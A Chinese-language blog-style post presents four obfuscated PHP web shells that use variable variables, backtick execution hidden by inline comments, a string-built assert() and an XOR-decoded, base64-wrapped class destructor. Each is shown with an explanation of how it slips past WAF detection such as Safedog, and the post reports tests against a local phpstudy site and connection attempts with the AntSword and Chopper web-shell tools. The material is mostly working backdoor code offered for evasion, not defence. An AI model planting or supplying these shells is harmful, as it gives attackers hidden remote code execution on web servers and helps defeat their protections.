有一段php代码:
<?php$h=\'f\';$$h=$_REQUEST[\'x\']; //$$h可以理解为先解析后边这个$h,然后在进行解析,最终解析成为$f$d=\'CHECK\';$$d=\'ass\';$$d=$CHECK.\'ert\';$CHECK($f);?>
原理:参数f赋值给$h,$$h解析后为$f = $_REQUEST[\’x\’];参数\’CHECK\’赋值给变量$d,$$d解析后为$CHECK = \’ass\’,再解析$$d为$CHECK = $CHECK.\’ert\’,这一步也可以理解为将$CHECk.\’ert\’赋值给$CHECK变量,这个时候$CHECK为assert()命令执行函数,最终,命令为 $assert($_REQUEST[\’x\’]),
代码保存在phpstudy网站跟目录下,用自带调试的firefox浏览器中访问
成功执行,也可以在url后接参数执行
assert()既能代码执行,也能命令执行,
再看这样一段php代码
<?php//t.php$test = $_GET[\'r\'];echo /*%00*//*!*/(`$test`)/*%00*//*%00*//*%00*/;?>
echo语句之后,增加了很多内联注释干扰字段,没有实际意义,真正执行的是/*!*/(`$test`)/*%00*/,能够绕过WAF检测机制的是\”!\”,另外反单引号(“)的作用就是将任何代码当作命令执行,同样的用自带调试功能的firefox访问php文件
能够执行命令
另有如下一段php代码:
<?php$a = substr_replace(\"assexy\",\"rt\",4);$b = array(\'\'=>$a($_REQUEST[\'q\']));var_dump($b);?>
首先使用substr_replace()函数,将\’assexy\’中的\’xy\’,替换为\’rt\’,参数4的意思是从下标4开始替换,替换后$a = assert()代码和命令执行函数,$b为一个数组,\’=>\’为数组赋值,意思是将$_REQUEST[\’q\’]得到的值进行代码或命令执行,再将执行的结果赋值给数组,最后将数组打印出来,同样的,用firefox来看一下是否能访问
同样是能够绕过WAF,执行命令
再如下面的一段php代码:
<?php$pwd=\'123\'; //将密码给一个变量保存,后面调用class NMSL{function __destruct(){$HI=\'lKrRM{\'^\"\\xd\\x38\\x1\\x37\\x3f\\xf\";return @$HI(\"$this->PFZE\");}}$a=\'b\';$$a=\'NMSL\';$b=new NMSL();@$b->PFZE=isset($_GET[$pwd])?base64_decode($_POST[$pwd]):$_POST[$pwd]; //调用$pwd变量?>
将要解析的参数封装为一个类,创建一个对象,再经过base64加密解密,最终得到执行语句,用可调试的firefox进行测试,
成功执行,用webshell工具(中国蚁剑)来连接测试
这里用base64编码包裹一下,再来连接,因为再payload代码中,使用base64编码规则
尝试连接时,显示错误,原因可能是网站安全狗(WAF)将工具的指纹信息加入了限制规则,无法连接
再用webshell工具(中国菜刀)来连接,
尝试连接时,网站防火墙直接显示阻止连接,所以也没能成功,
以上的payload代码实测均可以绕过WAF执行命令或代码,但是部分webshell工具是连接失败的,总的来说payload逻辑没有问题。